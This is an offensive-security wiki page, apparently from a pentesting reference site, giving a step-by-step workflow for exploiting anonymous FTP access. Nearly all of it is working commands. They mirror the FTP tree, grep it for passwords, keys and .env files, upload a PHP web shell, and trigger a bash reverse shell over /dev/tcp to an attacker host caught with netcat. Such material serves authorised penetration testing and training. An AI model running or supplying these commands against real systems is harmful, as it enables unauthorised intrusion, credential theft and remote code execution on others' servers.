# FTP Anonymous Login Exploitation

> Exploit anonymous FTP login to gain unauthorised access, enumerate files, and extract sensitive data using tools like ftp, Nmap, and Metasploit.

- **URL:** https://hackindex.io/services/ftp/exploitation/ftp-anonymous-login
- **Path:** FTP > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/ftp/exploitation.md)
- **Published:** 2026-03-16
- **Updated:** 2026-08-11

Anonymous FTP access confirmed by [FTP Anonymous Access Check](https://hackindex.io/services/ftp/vulnerability-discovery/ftp-anonymous-access) gives unauthenticated read or write access to the FTP file tree. The impact depends on what is stored there and whether writable paths overlap with a web server root.

- **Recursive download** mirror the entire FTP root with wget or lftp for offline credential and config searches.
- **Credential hunting** grep downloaded content for passwords, API keys, SSH private keys, and .env files.
- **Write access exploitation** upload a PHP or ASPX web shell if writable paths overlap with the web server root.
- **Reverse shell** trigger the uploaded shell over HTTP and catch the connection with netcat.

## Connect Anonymously

```bash
ftp $TARGET_IP $PORT
```

Username: `anonymous` Password: any string or blank

```bash
curl -s --user anonymous:anonymous ftp://$TARGET_IP:$PORT/
```

## Download All Files Recursively

Use wget to mirror the entire FTP root in one command:

```bash
wget -r --no-passive ftp://anonymous:anonymous@$TARGET_IP:$PORT/
```

`-r` enables recursive download. `--no-passive` forces active mode, which works better on some targets. The downloaded content lands in a directory named after the target IP.

With curl for a single file:

```bash
curl -s --user anonymous:anonymous ftp://$TARGET_IP:$PORT/path/to/file.txt -o file.txt
```

## What to Look For in Downloaded Files

After pulling everything down, search for credential material:

```bash
grep -r -i 'password\|passwd\|secret\|api_key\|token\|connectionstring' ./ 2>/dev/null
find . -name "*.conf" -o -name "*.config" -o -name "*.ini" -o -name "*.env" -o -name "*.xml" 2>/dev/null
find . -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null
```

Configuration files, credential files, SSH private keys, and database connection strings in the FTP root are all immediately useful for lateral movement or privilege escalation.

## Upload a File

If write access is confirmed:

```bash
curl -s --user anonymous:anonymous -T /tmp/payload.txt ftp://$TARGET_IP:$PORT/uploads/payload.txt
# put /tmp/payload.txt
#
```

## Web Shell Upload via Anonymous FTP

If the writable directory is also served by a web server, upload a PHP web shell and trigger it over HTTP:

```bash
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
curl -s --user anonymous:anonymous -T /tmp/shell.php ftp://$TARGET_IP:$PORT/uploads/shell.php
```

Confirm the shell is accessible:

```bash
curl -s "http://$TARGET_IP/uploads/shell.php?cmd=id"
```

Expected output: `uid=33(www-data) gid=33(www-data)`

If execution is confirmed, upgrade to a reverse shell. Start your listener:

```bash
nc -lvnp $LPORT
```

Trigger the reverse shell:

```bash
curl -s "http://$TARGET_IP/uploads/shell.php" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
```

The full web shell upload workflow is covered in [FTP Web Shell Upload](https://hackindex.io/services/ftp/exploitation/ftp-web-shell-upload).

## Using lftp for Faster Transfers

`lftp` handles anonymous FTP and supports mirror operations more reliably than wget on some targets:

```bash
lftp -u anonymous, ftp://$TARGET_IP:$PORT
```

Inside lftp:

```bash
mirror --continue --parallel=5 / /tmp/ftp_loot/
```

This downloads the entire FTP tree to `/tmp/ftp_loot/` using five parallel connections.

## References

- [lftp Manual](https://lftp.yar.ru/lftp-man.html) - Full reference for lftp commands including mirror, parallel transfers, and anonymous access